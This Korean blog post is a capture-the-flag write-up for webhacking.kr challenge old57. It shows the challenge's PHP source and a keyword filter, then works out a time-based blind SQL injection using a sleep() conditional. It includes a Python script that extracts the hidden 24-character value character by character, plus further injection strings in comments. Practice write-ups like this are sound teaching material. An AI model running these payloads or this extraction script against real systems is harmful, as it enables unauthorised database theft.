webhacking.kr - old57

2021. 3. 7. 12:42WarGame/webhaking.kr

처음 접속하면 위와 같은 페이지가 나옵니다.

message에 무언갈 입력하면

done이 표시되고

secret = yes면 인자로1 이 들어가고,

secret = no면 인자로 0이 들어갑니다.

소스코드를 확인해보면

<?php
  include "../../config.php";
  include "./flag.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
  $db = dbconnect();
  if($_GET['msg'] && isset($_GET['se'])){
    $_GET['msg'] = addslashes($_GET['msg']);
    $_GET['se'] = addslashes($_GET['se']);
    if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
    echo "Done<br><br>";
    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
  }
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>
Auto Copied

위와 같은 코드인데, 보니까 대부분이 필터링 되어있지만, time based sqli가 가능할 것 같아서 시도해보았다.

> webhacking.kr/challenge/web-34/index.php?msg=2143&se=if(length(pw)%3E0,%20sleep(3.0),%201)

[

Challenge 57

webhacking.kr

](https://webhacking.kr/challenge/web-34/index.php?msg=2143&se=if(length(pw)%3E0,%20sleep(3.0),%201))

위와 같이 페이를 입력하게 되면 3초를 기다렸다가 로딩된다.

이를 이용해서 24자리라는 길이를 구하고,

아래와 같이 password를 구하는 payload를 작성해줄 수 있다.

import requests
import time

result = ""
string = "_abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&amp;*()-=+[]{};:'\"&lt;&gt;,.?/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
#24letter
for i in range(1, 25) :
    for j in string :
        URL = "https://webhacking.kr/challenge/web-34/index.php?msg=12&se=if(substr(pw,"+str(i)+",1)="+str(hex(ord(j)))+",sleep(3.0),1)"
        before_time = time.time()
        response=requests.get(URL)
        after_time = time.time()
        print(URL)
        if(after_time - before_time > 2.5) :
            print("["+str(i)+"th] password is = " + str(j))
            result += str(chr(ord(j)))
            print(result)
            break;

print(result)

#0||id=0x61646d696e&&length(pw)>0

#https://webhacking.kr/challenge/web-29/?no=0||substr(pw,1,1)=0x6c&id=guest&pw=guest

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old48  (0) 2021.03.18
webhacking.kr - old11  (0) 2021.03.15
webhacking.kr - old54  (0) 2021.01.25
webhacking.kr - old47  (0) 2021.01.22
webhacking.kr - old58  (0) 2021.01.16